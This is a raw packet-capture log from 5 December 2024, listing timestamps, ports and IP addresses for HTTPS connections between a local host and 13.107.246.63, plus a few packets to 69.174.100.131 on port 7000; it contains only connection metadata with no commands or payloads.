Dec 5, 2024 14:03:01.224373102 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.224447012 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.224462032 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.224477053 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.224483013 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.227124929 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.227161884 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.227246046 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.227432013 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.227442026 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.224869013 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.225436926 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.225444078 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.225461006 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.226010084 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.226011038 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.226016998 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.226021051 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.226397991 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.226407051 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.681467056 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.684582949 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.684633017 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.684638023 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.684690952 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.685904026 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.685923100 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.685934067 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.685939074 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.702939987 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.702986956 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.703058958 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.705775976 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.705794096 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.760691881 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.763634920 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.763686895 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.765476942 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.765502930 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.765516043 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.765522957 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.778274059 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.778300047 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.778407097 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.780618906 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:02.780631065 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.931219101 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.944904089 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:02.977396011 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.070877075 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.070894003 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.071149111 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.078062057 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.078074932 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.078454971 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.078473091 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.078952074 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.078964949 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.394161940 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.396277905 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.397813082 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.397864103 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.397918940 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.399743080 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.399822950 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.420773983 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.420798063 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.420810938 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.420816898 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.431838036 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.431864977 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.431878090 CET	50002	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.431885004 CET	443	50002	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.441545010 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.441605091 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.441664934 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.446568012 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.446605921 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.450793028 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.450834036 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:03.450895071 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.459913015 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:03.459925890 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.035933018 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.038254023 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.038264990 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.038702011 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.038708925 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.099210024 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:04.219105005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:04.219904900 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:04.340137005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:04.423924923 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.426585913 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.426585913 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.426618099 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.426634073 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.472153902 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.475302935 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.475980043 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.475980043 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.479127884 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.479127884 CET	50007	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.479162931 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.479187965 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.479438066 CET	50007	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.479438066 CET	50007	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.479471922 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.495709896 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.500647068 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.500647068 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.500663042 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.500675917 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.932095051 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.934844017 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.937741995 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.937741995 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.940634012 CET	50004	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.940634012 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.940651894 CET	443	50004	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.940670013 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:04.940941095 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.940941095 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:04.940972090 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.162919998 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.163728952 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.163768053 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.165008068 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.165021896 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.175997019 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.176533937 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.176553011 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.177058935 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.177064896 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.581104040 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.583681107 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.583740950 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.584096909 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.584119081 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.584130049 CET	50003	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.584136009 CET	443	50003	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.593743086 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.593816996 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.593888998 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.596055031 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.596101999 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.605160952 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.608438015 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.608494997 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.608500957 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.608546972 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.609158993 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.609184027 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.609194994 CET	50005	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.609200954 CET	443	50005	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.616584063 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.619853973 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.619906902 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.620657921 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.620680094 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.620690107 CET	50006	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.620696068 CET	443	50006	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.636778116 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.636838913 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.636903048 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.643968105 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.644026041 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.644084930 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.644901037 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.644917011 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:05.648617983 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:05.648634911 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.213545084 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.230289936 CET	50007	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.230320930 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.240878105 CET	50007	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.240900040 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.648149967 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.648222923 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.650470018 CET	50007	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.665654898 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.682488918 CET	50007	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.682524920 CET	443	50007	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.690316916 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.690334082 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.691123009 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.691128969 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.700258970 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.700292110 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.700511932 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.703994989 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:06.704003096 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:06.741509914 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:06.861654997 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:07.105529070 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.105545998 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.105721951 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.105740070 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.106159925 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.106254101 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.108416080 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.108416080 CET	50008	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.108437061 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.108444929 CET	443	50008	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.111567974 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.111634970 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.111766100 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.112000942 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.112020016 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.319524050 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.320449114 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.320477962 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.321360111 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.321367025 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.366945028 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.367769957 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.367790937 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.371428013 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.371468067 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.371473074 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.372042894 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.372052908 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.372391939 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.372402906 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842546940 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842576027 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842580080 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842653990 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.842669010 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842672110 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842719078 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.842911005 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.842922926 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842932940 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.842933893 CET	50009	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.842952967 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842961073 CET	443	50009	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.842968941 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.843084097 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.843121052 CET	443	50011	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.843162060 CET	50011	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.846024990 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.846031904 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.846057892 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.846064091 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.846131086 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.846168995 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.846309900 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.846314907 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.846324921 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.846327066 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.849000931 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.849021912 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.849077940 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.849091053 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.849118948 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.849217892 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.849234104 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.849244118 CET	50010	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.849248886 CET	443	50010	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.851155043 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.851181984 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:07.851241112 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.851375103 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:07.851388931 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.421318054 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.421900988 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.421910048 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.422390938 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.422394991 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.832422972 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.839493990 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.839505911 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.840303898 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.840311050 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.856487036 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.856518984 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.856667995 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.856684923 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.857016087 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.857026100 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.857091904 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.857213974 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.857244968 CET	443	50012	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.857333899 CET	50012	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.956620932 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.956681013 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:08.957391024 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.958389997 CET	50017	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:08.958406925 CET	443	50017	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.278281927 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.278297901 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.278358936 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.278383970 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.278520107 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.307729959 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.307729959 CET	50013	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.307755947 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.307765961 CET	443	50013	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.566076994 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.566338062 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.573221922 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.600905895 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.600929976 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.601646900 CET	50016	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.601653099 CET	443	50016	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.611510038 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.611519098 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.612874985 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.612880945 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.614003897 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.614022017 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.614558935 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.614563942 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.617345095 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.617379904 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.617439985 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.617650986 CET	50018	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:09.617669106 CET	443	50018	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:09.922213078 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:10.003266096 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.003353119 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.003442049 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.003731012 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.003746986 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.003777027 CET	50014	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.003782034 CET	443	50014	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.004836082 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.004918098 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.004995108 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.005167961 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.005198002 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.005208969 CET	50015	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.005214930 CET	443	50015	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.006782055 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.006828070 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.006895065 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.007117987 CET	50019	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:10.007133961 CET	443	50019	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:10.007380009 CET	50020	443	192.168.2.6	13.107.246.63
